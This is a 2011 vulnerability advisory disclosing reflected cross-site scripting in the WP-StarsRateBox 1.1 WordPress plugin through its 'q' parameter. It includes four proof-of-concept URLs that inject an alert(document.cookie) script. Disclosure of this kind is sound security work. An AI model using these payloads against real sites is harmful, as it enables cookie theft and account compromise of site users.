Vulnerability ID: HTB22935 Reference: http://www.htbridge.ch/advisory/multiple_xss_in_wp_starsratebox_wordpress_plugin.html Product: WP-StarsRateBox wordpress plugin Vendor: www.starsrate.com ( www.starsrate.com ) Vulnerable Version: 1.1 Vendor Notification: 05 April 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "/wp-content/plugins/wp-starsratebox/wp-starsratebox.php" script to properly sanitize user-supplied input in "q" variable. User can execute arbitrary JavaScript code within the vulnerable application. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. The following PoC is available: [code] http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?check=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?opinion_check=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?opinion=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E [/code]